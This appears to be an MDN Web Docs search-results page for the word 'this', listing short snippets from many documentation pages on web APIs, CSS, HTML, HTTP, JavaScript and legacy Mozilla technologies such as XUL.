...And 10 more matches
StructType
this data type provides the ability to define and manipulate values of the c struct type.
... note: at
this time, there isn't a way to denote a packed structure (that is, one created in c using #pragma pack).
...if
this isn't specified, the structure is considered opaque and you can't access its contents directly.
...And 10 more matches
Version, UI, and Status Information - Plugins
« previousnext »
this chapter describes the functions that allow a plug-in to display a message on the status line, get agent information, and check on the current version of the plug-in api and the browser.
...in fact, your plug-in interface should be consistent with the rest of the browser in
this way.
... to accomplish
this, the plug-in calls the npn_status method to display your message on the status line.
...And 10 more matches
DOM Inspector internals - Firefox Developer Tools
this is the two-pane inspector that appears when ctrl+shift+i (or cmd+shift+i) is pressed from one of the applications for which dom inspector has explicit support (i.e., menuitems placed via overlay).
...in
this way, the panelset and panels function like a frameset and frames.
...
this comparison turns out to be quite apt, since each panel actually contains an anonymous browser, and individual viewers exist in separate documents loaded in the browser.
...And 10 more matches
Introduction to DOM Inspector - Firefox Developer Tools
(note:
this is now a dead link.) when you first start the dom inspector, you are presented with a two-pane application window that looks a little like the main mozilla browser.
...a browser window and the dom inspector are likely be already open and displayed in
this list.
... the dom inspector keeps track of all the windows that are open, so to inspect the dom of a particular window in the dom inspector, simply access that window as you would normally and then choose its title from
this dynamically updated menulist.
...And 10 more matches
Browser Console - Firefox Developer Tools
however, rather than logging
this information for a single content tab, it logs information for all content tabs, for add-ons, and for the browser's own code.
...
this means you can interact with all the browser's tabs using the gbrowser global, and even with the xul used to specify the browser's user interface.
... you can also start the browser console by launching firefox from the command line and passing the -jsconsole argument: /applications/firefoxaurora.app/contents/macos/firefox-bin -jsconsole the browser console looks like
this: you can see that the browser console looks and behaves very much like the web console: most of the window is occupied by a pane that display messages.
...And 10 more matches
CSSPrimitiveValue - Web APIs
this interface represents a single css value.
...an instance of
this interface might be obtained from the getpropertycssvalue() method of the cssstyledeclaration interface.
... methods cssprimitivevalue.getcountervalue()
this method is used to get the counter value.
...And 10 more matches
Basic usage of canvas - Web APIs
« previousnext » let's start
this tutorial by looking at the <canvas> html element itself.
... at the end of
this page, you will know how to set up a canvas 2d context and have drawn a first example in your browser.
...it is always a good idea to supply an id because
this makes it much easier to identify it in a script.
...And 10 more matches
Document.cookie - Web APIs
syntax read all cookies accessible from
this location allcookies = document.cookie; in the code above allcookies is a string containing a semicolon-separated list of all cookies (i.e.
...note that each key and value may be surrounded by whitespace (space and tab characters): in fact, rfc 6265 mandates a single space after each semicolon, but some user agents may not abide by
this.
...note that you can only set/update a single cookie at a time using
this method.
...And 10 more matches
Document.execCommand() - Web APIs
this is not implemented in mozilla.
...
this requires a <color> value string to be passed in as a value argument.
... note that internet explorer uses
this to set the text background color.
...And 10 more matches
Traversing an HTML table with JavaScript and DOM Interfaces - Web APIs
introduction
this article is an overview of some powerful, fundamental dom level 1 methods and how to use them from javascript.
... attach each <td> element to its parent <tr> element using row.appendchild(cell); next, we attach each <tr> element to the parent <tbody> element using tblbody.appendchild(row); next, we attach the <tbody> element to its parent <table> element using tbl.appendchild(tblbody); next, we attach the <table> element to its parent <body> element using body.appendchild(tbl); remember
this technique.
... here's the dom object tree generated by the code for the <table> element and its child elements: you can build
this table and its internal child elements by using just a few dom methods.
...And 10 more matches
IDBIndex - Web APIs
you use
this interface to retrieve data.
... note:
this feature is available in web workers.
...ies idbindex.isautolocale read only returns a boolean indicating whether the index had a locale value of auto specified upon its creation (see createindex()'s optionalparameters.) idbindex.locale read only returns the locale of the index (for example en-us, or pl) if it had a locale value specified upon its creation (see createindex()'s optionalparameters.) idbindex.name the name of
this index.
...And 10 more matches
Basic concepts - Web APIs
about
this document
this introduction discusses essential concepts and terminology in indexeddb.
...it used to include a synchronous version also, for use in web workers, but
this was removed from the spec due to lack of interest by the web community.
...
this transaction model is really useful when you consider what might happen if a user opened two instances of your web app in two different tabs simultaneously.
...And 10 more matches
Browser storage limits and eviction criteria - Web APIs
this article describes how browsers determine what local content to purge and when in order to free up needed local storage space.
...we term them "quota clients" in
this context: indexeddb asm.js caching cache api cookies note: in firefox, web storage will soon start to use the same storage management tools too, as described in
this document.
...
this section discusses the different ones you might find in different browsers.
...And 10 more matches
PannerNode - Web APIs
this is why these values are not marked read only, which is how they appear in the webidl.
...while
this audioparam cannot be directly changed, its value can be altered using its value property.
...while
this audioparam cannot be directly changed, its value can be altered using its value property.
...And 10 more matches
RTCPeerConnection.addIceCandidate() - Web APIs
this adds
this new remote candidate to the rtcpeerconnection's remote description, which describes the state of the remote end of the connection.
... during negotiation, your app will likely receive many candidates which you'll deliver to the ice agent in
this way, allowing it to build up a list of potential connection methods.
...
this is covered in more detail in the articles webrtc connectivity and signaling and video calling.
...And 10 more matches
RTCPeerConnection.addTrack() - Web APIs
this is perfectly acceptable, although it will be up to the remote peer to decide what stream to insert the track into, if any.
...
this is a very common way to use addtrack() when building many types of simple applications, where only one stream is needed.
...the ontrack handler might look like
this: let inboundstream = null; pc.ontrack = ev => { if (ev.streams && ev.streams[0]) { videoelem.srcobject = ev.streams[0]; } else { if (!inboundstream) { inboundstream = new mediastream(); videoelem.srcobject = inboundstream; } inboundstream.addtrack(ev.track); } } here, the track event handler adds the track to the first stream specified by the event, if a strea...
...And 10 more matches
RTCPeerConnection.setRemoteDescription() - Web APIs
this is typically called after receiving an offer or answer from another peer over the signaling server.
...
this value is an offer or answer received from the remote peer through your implementation of the sessiondescription parameter is technically of type rtcsessiondescriptioninit, but because rtcsessiondescription serializes to be indistinguishable from rtcsessiondescriptioninit, you can also pass in an rtcsessiondescription.
...
this lets you simplify code such as the following: mypeerconnection.setremotedescription(new rtcsessiondescription(description)) .then(function () { return createmystream(); }) to simply be: mypeerconnection.setremotedescription(description) .then(function () { return createmystream(); }) using async/await syntax, you can further simplify
this to: await mypeerconnection.setremotedescription(description); createmystream(); since it's unnecessary, the rtcsessiondescription() constructor is deprecated.
...And 10 more matches
USBAlternateInterface - Web APIs
properties usbalternateinterface.alternatesettingread only returns the alternate setting number of
this interface.
...
this is equal to the balternatesetting field of the interface descriptor defining
this interface.
... usbalternateinterface.interfaceclassread only returns the class of
this interface.
...And 10 more matches
A basic 2D WebGL animation example - Web APIs
in
this webgl example, we create a canvas and within it render a rotating square using webgl.
...
this can be done easily enough by multiplying by a scaling factor that's based on the context's aspect ratio.
...since we're drawing a solid, untextured object with no lighting applied,
this is exceptionally simple: <script id="fragment-shader" type="x-shader/x-fragment"> #ifdef gl_es precision highp float; #endif uniform vec4 uglobalcolor; void main() { gl_fragcolor = uglobalcolor; } </script>
this starts by specifying the precision of the float type, as required.
...And 10 more matches
Lifetime of a WebRTC session - Web APIs
in
this article, we'll look at the lifetime of a webrtc session, from establishing the connection all the way through closing the connection when it's no longer needed.
...
this article doesn't get into details of the actual apis involved in establishing and handling a webrtc connection; it simply reviews the process in general with some information about why each step is required.
...
this page is currently under construction, and some of the content will move to other pages as the webrtc guide material is built out.
...And 10 more matches
Using the Web Animations API - Web APIs
this article will start you off in the right direction with fun demos and tutorials featuring alice in wonderland.
...
this api was designed to underlie implementations of both css animations and css transitions, and leaves the door open to future animation effects.
... browser support the basic web animations api features discussed in
this article are available by default in firefox 48+ and chrome 36+.
...And 10 more matches
Web Authentication API - Web APIs
this resolves significant security problems related to phishing, data breaches, and attacks against sms texts or other second-factor authentication methods while at the same time significantly increasing ease of use (since users don't have to manage dozens of increasingly complicated passwords).
...
this proves to the server that a user is in possession of the private key required for authentication without revealing any secrets over the network.
...
this is a new concept in authentication: when authenticating using passwords, the password is stored in a user's brain and no other device is needed; when authenticating using web authentication, the password is replaced with a key pair that is stored in an authenticator.
...And 10 more matches
Synchronous and asynchronous requests - Web APIs
this lets the browser continue to work as normal while your request is being handled.
... example: send a file to the console log
this is the simplest usage of asynchronous xmlhttprequest.
...
this handler looks at the request's readystate to see if the transaction is complete in line 4; if it is, and the http status is 200, the handler dumps the received content.
...And 10 more matches
size - CSS: Cascading Style Sheets
most of the time,
this size corresponds to the target size of the printed page if applicable.
... size may either be defined with a "scalable" keyword (in
this case the page will fill the available dimensions) or with absolute dimensions.
...
this is the default orientation.
...And 10 more matches
Line-based placement with CSS Grid - CSS: Cascading Style Sheets
in
this article we will fully explore how
this fundamental feature of the specification works.
...
this gives us 4 lines in each dimension.
...one of the very nice things about grid layout is
this ability to have white space in our designs without having to push things around using margins to prevent floats from rising up into the space we have left.
...And 10 more matches
Using CSS gradients - CSS: Cascading Style Sheets
in
this example, the colors share a color stop at the 50% mark, halfway through the gradient: <div class="striped"></div> div { width: 120px; height: 120px; } .striped { background: linear-gradient(to bottom left, cyan 50%, palegoldenrod 50%); } gradient hints by default, the gradient transitions evenly from one color to the next.
...in
this example, we've moved the midpoint of the transition from the 50% mark to the 10% mark.
...in
this example, the color reaches the midpoint between lime and cyan 20% of the way through the gradient rather than 50% of the way through.
...And 10 more matches
display - CSS: Cascading Style Sheets
see the table at the end of
this document for all of the individual specifications.
...
this will result in expected behavior; for example if you specify an element to be block, you would expect that the children of that element would participate in block and inline normal flow layout.
...
this will result in expected behavior; for example if you specify an element to be display: grid, you would expect that the box created on the grid container would be a block level box.
...And 10 more matches
<easing-function> - CSS: Cascading Style Sheets
this lets you vary the animation's speed over the course of its duration.
...
this causes the animation to go farther than the final state, and then return.
... for some properties, such as left or right,
this creates a kind of "bouncing" effect.
...And 10 more matches
place-items - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
... constituent properties
this property is a shorthand for the following css properties: align-items justify-items syntax /* keyword values */ place-items: auto center; place-items: normal start; /* positional alignment */ place-items: center normal; place-items: start auto; place-items: end normal; place-items: self-start auto; place-items: self-end normal; place-items: flex-start auto; place-items: flex-end normal; place-items: left auto; place-items: right normal; /* baseline alignment */ place-items: baseline normal; place-items: first baseline auto; place-items: last baseline normal; place-items: stretch auto; /* global values */ p...
... normal the effect of
this keyword is dependent of the layout mode we are in: in block-level layouts, the keyword is a synonym of start.
...And 10 more matches
<area> - HTML: Hypertext Markup Language
this element is used only within a <map> element.
... the source for
this interactive example is stored in a github repository.
... implicit aria role link when href attribute is present, otherwise no corresponding role permitted aria roles no role permitted dom interface htmlareaelement attributes
this element's attributes include the global attributes.
...And 10 more matches
<bdi>: The Bidirectional Isolate element - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
...browsers implement the unicode bidirectional algorithm to handle
this.
... in
this algorithm, characters are given an implicit directionality: for example, latin characters are treated as ltr while arabic characters are treated as rtl.
...And 10 more matches
<form> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... permitted parents any element that accepts flow content implicit aria role form if the form has an accessible name, otherwise no corresponding role permitted aria roles search, none or presentation dom interface htmlformelement attributes
this element includes the global attributes.
...
this attribute was removed in html5 and should not be used.
...And 10 more matches
<input type="week"> - HTML: Hypertext Markup Language
the source for
this interactive example is stored in a github repository.
... the control's user interface varies from browser to browser; cross-browser support is currently a bit limited, with only chrome/opera and microsoft edge supporting it at
this time.
...the format of the date and time value used by
this input type is described in format of a valid week string in date and time formats used in html.
...And 10 more matches
Using HTTP cookies - HTTP
while
this was legitimate when they were the only way to store data on the client, it is now recommended to use modern storage apis.
...a simple cookie is set like
this: set-cookie: <cookie-name>=<cookie-value>
this shows the server sending headers to tell the client to store a pair of cookies: http/2.0 200 ok content-type: text/html set-cookie: yummy_cookie=choco set-cookie: tasty_cookie=strawberry [page content] then, with every subsequent request to the server, the browser sends back all previously stored cookies to the server using the cookie header.
...
this technique helps prevent session fixation attacks, where a third party can reuse a user's session.
...And 10 more matches
HTTP headers - HTTP
custom proprietary headers have historically been used with an x- prefix, but
this convention was deprecated in june 2012 because of the inconveniences it caused when nonstandard fields became standard in rfc 6648; others are listed in an iana registry, whose original content was defined in rfc 4229.
... device-memory technically a part of device memory api,
this header represents an approximate amount of ram client has.
...conditional requests using if-modified-since and if-unmodified-since use
this value to change the behavior of the request.
...And 10 more matches
Redirections in HTTP - HTTP
http has a special kind of response, called a http redirect, for
this operation.
...in
this case, a temporary redirect can be used.
... obviously,
this method only works with html, and cannot be used for images or other types of content.
...And 10 more matches
Object - JavaScript
however, an object may be deliberately created for which
this is not true (e.g.
... by object.create(null)), or it may be altered so that
this is no longer true (e.g.
...
this provides a very powerful although potentially dangerous mechanism to override or extend object behavior.
...And 10 more matches
eval() - JavaScript
the source for
this interactive example is stored in a github repository.
... eval(new string('2 + 2')); // returns a string object containing "2 + 2" eval('2 + 2'); // returns 4 you can work around
this limitation in a generic fashion by using tostring().
...
this means, for instance, that function declarations create global functions, and that the code being evaluated doesn't have access to local variables within the scope where it's being called.
...And 10 more matches
Iteration protocols - JavaScript
note that when
this zero-argument function is called, it is invoked as a method on the iterable object.
... therefore inside of the function, the
this keyword can be used to access the properties of the iterable object, to decide what to provide during the iteration.
...
this function can be an ordinary function, or it can be a generator function, so that when invoked, an iterator object is returned.
...And 10 more matches
switch - JavaScript
the source for
this interactive example is stored in a github repository.
... default optional a default clause; if provided,
this clause is executed if the value of expression doesn't match any of the case clauses.
... see example here: var foo = 0; switch (foo) { case -1: console.log('negative 1'); break; case 0: // foo is 0 so criteria met here so
this block will run console.log(0); // note: the forgotten break would have been here case 1: // no break statement in 'case 0:' so
this case will run as well console.log(1); break; // it encounters
this break so will not continue into 'case 2:' case 2: console.log(2); break; default: console.log('default'); } can i put a default between cases?
...And 10 more matches
Image file type and format guide - Web media technologies
in
this guide, we'll cover the image file types generally supported by web browsers, and provide insights that will help you select the most appropriate formats to use for your site's imagery.
...
this is not the same as a license, however.
...it is technically possible to tile multiple image blocks, each with its own color palette, to create truecolor images, but in practice
this is rarely done.
...And 10 more matches
Tutorials
the links on
this page lead to a variety of tutorials and training materials.
... html tutorials introductory level introduction to html
this module sets the stage, getting you used to important concepts and syntax, looking at applying html to text, how to create hyperlinks, and how to use html to structure a webpage.
... intermediate level multimedia and embedding
this module explores how to use html to include multimedia in your web pages, including the different ways that images can be included, and how to embed video, audio, and even entire other webpages.
...And 10 more matches
Using shadow DOM - Web Components
the shadow dom api is a key part of
this, providing a way to attach a hidden separated dom to an element.
...
this article covers the basics of using the shadow dom.
... high-level view
this article assumes you are already familiar with the concept of the dom (document object model) — a tree-like structure of connected nodes that represents the different elements and strings of text appearing in a markup document (usually an html document in the case of web documents).
...And 10 more matches
console - Archive of obsolete content
console.error(object[, object, ...]) logs the arguments to the console, preceded by "error:" and the name of your add-on: console.error("
this is an error message"); error: my-addon:
this is an error message console.exception(exception) logs the given exception instance as an error, outputting information about the exception's stack traceback if one is available.
... try { dothing(); } catch (e) { console.exception(e); } function userexception(message) {
this.message = message;
this.name = "userexception"; } function dothing() { throw new userexception("thing could not be done!"); } error: my-addon: an exception occurred.
... console.log(object[, object, ...]) logs the arguments to the console, preceded by "info:" and the name of your add-on: console.log("
this is an informational message"); info: my-addon:
this is an informational message console.time(name) starts a timer with a name specified as an input parameter.
...And 9 more matches
Displaying annotations - Archive of obsolete content
warning:
this tutorial relies on the since-removed widget api and no longer works with firefox.
... in
this chapter we'll use a page-mod to locate elements of web pages that have annotations associated with them, and a panel to display the annotations.
... the complete content script is here: self.on('message', function onmessage(annotations) { annotations.foreach( function(annotation) { if(annotation.url == document.location.tostring()) { createanchor(annotation); } }); $('.annotated').css('border', 'solid 3px yellow'); $('.annotated').bind('mouseenter', function(event) { self.port.emit('show', $(
this).attr('annotation')); event.stoppropagation(); event.preventdefault(); }); $('.annotated').bind('mouseleave', function() { self.port.emit('hide'); }); }); function createanchor(annotation) { annotationanchorancestor = $('#' + annotation.ancestorid); annotationanchor = $(annotationanchorancestor).parent().find( ':contains(' + annotation.anchortext + ')'...
...And 9 more matches
Canvas code snippets - Archive of obsolete content
this can be very useful to compare for example if a user has painted over another area as explained in
this blog post.
...(canvas, r, g, b) { var cx = canvas.getcontext('2d'); var pixels = cx.getimagedata(0, 0, canvas.width, canvas.height); var all = pixels.data.length; var amount = 0; for (i = 0; i < all; i += 4) { if (pixels.data[i] === r && pixels.data[i + 1] === g && pixels.data[i + 2] === b) { amount++; } } return amount; }; getting the color of a pixel in a canvas
this following snippet returns an object with the rgba values of the pixel at position x and y of the canvas.
...
this can be used to determine if the mouse cursor is inside a certain shape or not.
...And 9 more matches
File I/O - Archive of obsolete content
use of os.file is preferred over the examples in
this article.
...
this article describes local file input/output in chrome javascript.
...
this is a windows-specific value.
...And 9 more matches
Jetpack Processes - Archive of obsolete content
a mechanism to optionally disable
this feature has been proposed in bug 614351.
... privileged apis when script is evaluated in a jetpack process via a call to nsijetpack.evalscript(), the script's global scope is endowed with the following privileged apis: sendmessage(amessagename [, v1 [, v2 [, ...]]]) similar to nsijetpack.sendmessage(),
this function asynchronously sends a message to the chrome process.
... callmessage(amessagename [, v1 [, v2 [, ...]]])
this function is like sendmessage() but sends the message synchronously.
...And 9 more matches
Session store API - Archive of obsolete content
one key scenario in which supporting
this feature can be crucial for an extension: firefox 2 lets users undo the closing of tabs.
...if your extension wants to be able to restore data when tabs are restored, you can install a listener like
this: function myextensionhandlerestore(aevent) { var tab = event.originaltarget; /* the tab being restored */ var uri = tab.linkedbrowser.contentdocument.location; /* the tab's uri */ components.classes["@mozilla.org/consoleservice;1"] .getservice(components.interfaces.nsiconsoleservice) .logstringmessage("restoring tab: " + uri); }; document.addeventlistener(...
...in
this example, nsiconsoleservice is used to display a message to the console.
...And 9 more matches
Underscores in class and ID Names - Archive of obsolete content
note: browser support for underscores in css has greatly improved since
this article was originally published in 2001 and the following recommendation is no longer accurate for most circumstances.
...learn why
this is so, and how to keep your sites from being bitten by
this problem.
...
this technical note examines the use of underscores in css, and why they should be generally avoided in most circumstances.
...And 9 more matches
XUL user interfaces - Archive of obsolete content
this page illustrates mozilla's specialized language for creating user interfaces.
...mozilla overcomes
this limitation by providing a specialized language for creating user interfaces: xul (xml user-interface language, usually pronounced like "zool").
...more specialized features can be built from parts by using xul together with other technologies that you have seen in
this tutorial: css style, javascript code, and xbl bindings.
...And 9 more matches
Getting Started - Archive of obsolete content
the folder containing seamonkey is called folder_with_seamonkey in
this manual.
...
this is located in the file classic.jar found in the seamonkey 2 installation directory.
...
this is the most critical directory in a theme.
...And 9 more matches
Basics - Archive of obsolete content
note:
this page documents the jetpack prototype, which is no longer under active development.
...the namespace for
this api is console.
... methods info()
this method does stuff.
...And 9 more matches
Mozilla Crypto FAQ - Archive of obsolete content
in
this document i try to answer some frequently asked questions about the mozilla web browser and mail/news client and its support for ssl, s/mime, and related features based on cryptographic technology.
... note that
this document is for your information only and is not intended as legal advice.
... i've updated
this version of the mozilla crypto faq to discuss the situation now that the rsa public key algorithm is in the public domain and a full open source crypto implementation is being added to the mozilla code base.
...And 9 more matches
URIs and URLs - Archive of obsolete content
warning: the content of
this article may be out of date.
...although many url schemes are named after protocols,
this does not imply that the only way to access the url's resource is via the named protocol.
...
this means that it should be possible to add new protocols to necko just by implementing nsiprotocolhandler and nsichannel.
...And 9 more matches
compareTo - Archive of obsolete content
compareto compares the version information specified in
this object to the version information specified in the version parameter.
... returns if the versions are the same,
this method returns 0.
... if
this version object represents a smaller (earlier) version than that represented by the version parameter,
this method returns a negative number.
...And 9 more matches
XPJS Components Proposal - Archive of obsolete content
this is a proposal for a system that got implemented, but it may differ from the actual implementation.
... see the status document for more recent info on the status of
this proposal.
... so what does
this mean?
...And 9 more matches
MenuButtons - Archive of obsolete content
this works similarly to the menu tag, and would be used to present a set of commands to execute.
... to create a button of
this type, set the type attribute of the button to 'menu'.
...if you do want
this indication, you should use a menulist instead.
...And 9 more matches
Additional Navigation - Archive of obsolete content
here is an example triple that we could use in the photos example: <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?photo" predicate="http://purl.org/dc/elements/1.1/title" object="canal"/> </query>
this new triple has a static value for the object attribute instead of a variable reference.
...another thing that you cannot have is a triple where both variables would be unknown as in the following: <query> <content uri="?start"/> <member container="?start" child="?photo"/> <triple subject="?category" predicate="http://purl.org/dc/elements/1.1/title" object="?title"/> </query> in
this case when the template builder gets to the triple, neither the ?category nor the ?title variables can be filled in so the builder doesn't know what to generate.
... the builder won't generate any output in
this situation.
...And 9 more matches
Building Menus With Templates - Archive of obsolete content
this means that a menu created with a template will not have any of the generated items until the user opens the menu, or a script opens the menu.
...
this applies to menus on menubars, submenus, as well as menu-type buttons such as those with a type attribute set to menu.
...
this allows for better performance as the entire content of a complex menu does not need to be created until the user needs to use the menu.
...And 9 more matches
Install Scripts - Archive of obsolete content
« previousnext »
this section describes the install script.
...for
this reason, installers include an install script to handle the installation process.
...because of
this, you can easily specify a number of files to be installed, come across some kind of error, and abort the whole process without modifying the user's system.
...And 9 more matches
Numeric Controls - Archive of obsolete content
this type of textbox may only be used to enter numbers.
...naturally,
this value should be a number.
...if the user enters a value less or greater than
this value, it will be reset to the minimum or maximum value as necessary.
...And 9 more matches
Property Files - Archive of obsolete content
for
this purpose, property files can be used.
...a line that begins with a hash sign ('#') is treated as a comment: #
this is a comment welcomemessage=hello, world!
... #
this is another comment goodbyemessage=come back soon!
...And 9 more matches
XBL Attribute Inheritance - Archive of obsolete content
« previousnext » in
this section we'll see how attributes can be inherited.
...the problem with
this is that the label would be the same every time the binding was used.
... in
this case, it would be preferable if the attribute could be specified on the searchbox instead.
...And 9 more matches
XUL Template Primer - Bindings - Archive of obsolete content
warning: the content of
this article may be out of date.
... overview
this document expands on the xul template primer by introducing the <bindings> element in the extended xul template syntax.
...
this is different from the variables specified in the rule's conditions, where a value must be found for each variable for the rule to match.
...And 9 more matches
colorpicker - Archive of obsolete content
if
this attribute is set, the element is disabled.
...do not set the attribute to true, as
this will suggest you can set it to false to enable the element again, which is not the case.
...to enable the element, leave
this attribute out entirely.
...And 9 more matches
command - Archive of obsolete content
using
this function has the advantage that the command will be sent to the part of the ui which will respond to it.
... typically,
this will be the currently focused element.
...if
this attribute is set, the element is disabled.
...And 9 more matches
description - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ]
this element is used to create a block of text.
... attributes crop, disabled, tabindex value properties accessibletype, crop, disabled, tabindex, value style classes header, indent, monospace, plain, small-margin examples
this is a long section of text that will word wrap when displayed <description>
this is a long section of text that will word wrap when displayed.
... </description>
this is a long section of text that will not word wrap <description value="
this is a long section of text that will not word wrap"> </description>
this is a long section of dynamically controlled text that will word wrap <description id="desc" style="width: 300px"></description> document.getelementbyid('desc').textcontent = "
this is a long section of dynamic message text that will word wrap"; attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute.
...And 9 more matches
prefpane - Archive of obsolete content
in
this latter case, the separate file should use an overlay tag as its root tag since it will be loaded as an overlay to the main preferences window.
...if
this attribute is empty or left out, no image appears.
...if
this is left out, no text appears.
...And 9 more matches
radiogroup - Archive of obsolete content
if
this attribute is set, the element is disabled.
...do not set the attribute to true, as
this will suggest you can set it to false to enable the element again, which is not the case.
...to enable the element, leave
this attribute out entirely.
...And 9 more matches
timepicker - Archive of obsolete content
to avoid
this, you can use the workaround described here, i.e., use window.settimeout(actual-event-handler-function, 0); to queue up your event handler to run after the rest of the picker's change event handlers.
...if
this attribute is set, the element is disabled.
...do not set the attribute to true, as
this will suggest you can set it to false to enable the element again, which is not the case.
...And 9 more matches
3D collision detection - Game development
this article provides an introduction to the different bounding volume techniques used to implement collision detection in 3d environments.
...
this consists of wrapping game entities in a non-rotated (thus axis-aligned) box and checking the positions of these boxes in the 3d coordinate space to see if they are overlapping.
... note: check out the bounding volumes with three.js article to see a practical implementation of
this technique.
...And 9 more matches
Implementing controls using the Gamepad API - Game development
this article looks at implementing an effective, cross-browser control system for web games using the gamepad api, allowing you to control your web games using console game controllers.
...the gamepad api achieves
this by providing an interface exposing button presses and axis changes that can be used inside javascript code to handle the input.
...the code discussed in
this article was tested with a few gamepads, but the author's favorite configuration is a wireless xbox 360 controller and the firefox browser on mac os x.
...And 9 more matches
Test your skills: Selectors - Learn web development
the aim of
this task is to help you check your understanding of selectors in css.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... try updating the live code below to recreate the finished example: for assessment or further work purposes, download the starting point for
this task to work in your own editor or in an online editor.
...And 9 more matches
Using your new knowledge - Learn web development
this assessment gives you a chance to do that.
... prerequisites: before attempting
this assessment you should have worked through the rest of the css basics module, and also have an understanding of html basics (study introduction to html).
...
this is a single page with the html, plus the starting point css in the head of the document.
...And 9 more matches
What is CSS? - Learn web development
this article explains what css is, with a simple syntax example, and also covers some key terms about the language.
...have a look at the links in
this paragraph for specific examples.
...
this selects the html element that we are going to style.
...And 9 more matches
CSS FAQ - Learn web development
in
this article, you'll find some frequently-asked questions (faqs) about css, along with answers that may help you on your quest to become a web developer.
...
this is a list of the most commonly used doctype declarations that will trigger standards or almost standards mode: <!doctype html> /*
this is the html5 doctype.
... given that each modern browser uses an html5 parser,
this is the recommended doctype */ <!doctype html public "-//w3c//dtd html 4.0 transitional//en" "http://www.w3.org/tr/html4/loose.dtd"> <!doctype html public "-//w3c//dtd html 4.01//en" "http://www.w3.org/tr/html4/strict.dtd"> <!doctype html public "-//w3c//dtd xhtml 1.0 transitional//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-transitional.dtd"> <!doctype html public "-//w3c//dtd xhtml 1.0 strict//en" "http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd"> when at all possible, you should just use the html5 doctype.
...And 9 more matches
How do you upload your files to a web server? - Learn web development
this article shows you how to publish your site online using file transfer tools.
...in
this article we'll discuss how to do that, using various available options such as sftp clients, rsync and github.
... open the filezilla application; you should see something like
this: logging in for
this example, we'll suppose that our hosting provider (the service that will host our http web server) is a fictitious company "example hosting provider" whose urls look like
this: mypersonalwebsite.examplehostingprovider.net.
...And 9 more matches
What are browser developer tools? - Learn web development
this article explains how to use the basic functions of your browser's devtools.
...you should have
this open as you follow the steps below.
... how to open the devtools in your browser the devtools live inside your browser in a subwindow that looks roughly like
this, depending on what browser you are using: how do you pull it up?
...And 9 more matches
How do you set up a local testing server? - Learn web development
this article explains how to set up a simple local testing server on your machine, and the basics of how to use it.
...remote files throughout most of the learning area, we tell you to just open your examples directly in a browser —
this can be done by double clicking the html file, dragging and dropping it into the browser window, or choosing file > open...
...there are many ways to achieve
this.
...And 9 more matches
Test your skills: Advanced styling - Learn web development
this aim of
this skill test is to assess whether you've understood our advanced form styling and ui pseudo-classes articles.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
...
this is due to native os styling being used in some cases.
...And 9 more matches
Test your skills: Links - Learn web development
the aim of
this skill test is to assess whether you've understood our creating hyperlinks article.
... if you get stuck, then ask us for help — see the assessment or further help section at the bottom of
this page.
... links 1 in
this task we want you to help fill in the links on our whales information page: the first link should be linked to a page called whales.html, which is in the same directory as the current page.
...And 9 more matches
Multimedia: Images - Learn web development
this article looks at optimizing image and video to improve web performance.
...
this is a high-level introduction to optimizing multimedia delivery on the web, covering general principles and techniques.
...
this isn't an emerging market problem either.
...And 9 more matches
Beginning our React todo list - Learn web development
this article will walk you through putting the basic app component structure and styling in place, ready for individual component definition and interactivity, which we'll add later.
... project starter code as a starting point for
this project, we're going to provide two things: an app() function to replace the one you have now, and some css to style your app.
...
this way, it will match the <h1> at the top of our app.
...And 9 more matches
Using Vue computed properties - Learn web development
previous overview: client-side javascript frameworks next in
this article we'll add a counter that displays the number of completed todo items, using a feature of vue called computed properties.
...
this can be useful for users, while also serving to label the list for assistive technology.
... while it might be tempting to do something like
this: <h2>{{todoitems.filter(item => item.done).length}} out of {{todoitems.length}} items completed</h2> it would be recalculated on every render.
...And 9 more matches
Accessibility and Mozilla
accessibility api cross-reference
this cross-reference helps us see the difference between today's accessibility api's.
...we are optimistic that jaws support will catch up
this year.
...since
this is a worldwide effort, there is always a good chance to find someone to chat with there, day or night.accessibility information for ui designers and developerswhen you design user interfaces with accessibility in mind, they will work for more people.
...And 9 more matches
Application cache implementation overview
loading a top level document from offline cache
this happens in nshttpchannel::opencacheentry().
...associating the top level document with offline cache
this happens between document load start and the first sub-resource download start and is not about associating nsiapplicationcache object with the channel, but with the document object the load is performed for.
...for purpose of
this documentation it's enough to describe the simplest case ; for complete documentation of the selection algorithm refer to the spec or to the code.
...And 9 more matches
Creating Sandboxed HTTP Connections
this article will cover the basics of doing http connections from xpcom javascript, and should easily translate to c++ xpcom.
...since
this is a stream, it could be called multiple times (depending on the size of the returned data, networking conditions, etc).
... .getservice(components.interfaces.nsiioservice); // create an nsiuri var uri = ioservice.newuri(myurlstring, null, null); // get a channel for that nsiuri gchannel = ioservice.newchannelfromuri(uri); // get an listener var listener = new streamlistener(callbackfunc); gchannel.notificationcallbacks = listener; gchannel.asyncopen(listener, null); function streamlistener(acallbackfunc) {
this.mcallbackfunc = acallbackfunc; } streamlistener.prototype = { mdata: "", // nsistreamlistener onstartrequest: function (arequest, acontext) {
this.mdata = ""; }, ondataavailable: function (arequest, acontext, astream, asourceoffset, alength) { var scriptableinputstream = components.classes["@mozilla.org/scriptableinputstream;1"] .createinstance(components.interf...
...And 9 more matches
Browser API
this means that window.top, window.parent, window.frameelement, etc.
...
this can influence resource allocation and some function usage such as requestanimationframe.
... browser api methods removed in firefox 65 in firefox 65, several of the mozilla browser api methods were removed in an effort to cut down on domrequest usage in the browser, and remove the parts of the browser api that are no longer needed (it is used only by the firefox devtools at
this point).
...And 9 more matches
Script security
this page provides an overview of the script security architecture in gecko.
...
this javascript code, which is commonly referred to as chrome code, runs with system privileges.
...an example of
this scope is chrome-privileged javascript accessing web content.
...And 9 more matches
How to get a stacktrace with WinDbg
this article describes how to get a stacktrace in those cases with windbg on windows.
... (to get a stacktrace for thunderbird or some other product, substitute the product name where ever you see firefox in
this instructions.) requirements to get such a stacktrace you need to install the following software: debugging tools for windows microsoft distributes the debugging tools for windows for free, those include windbg which you will need here.
...
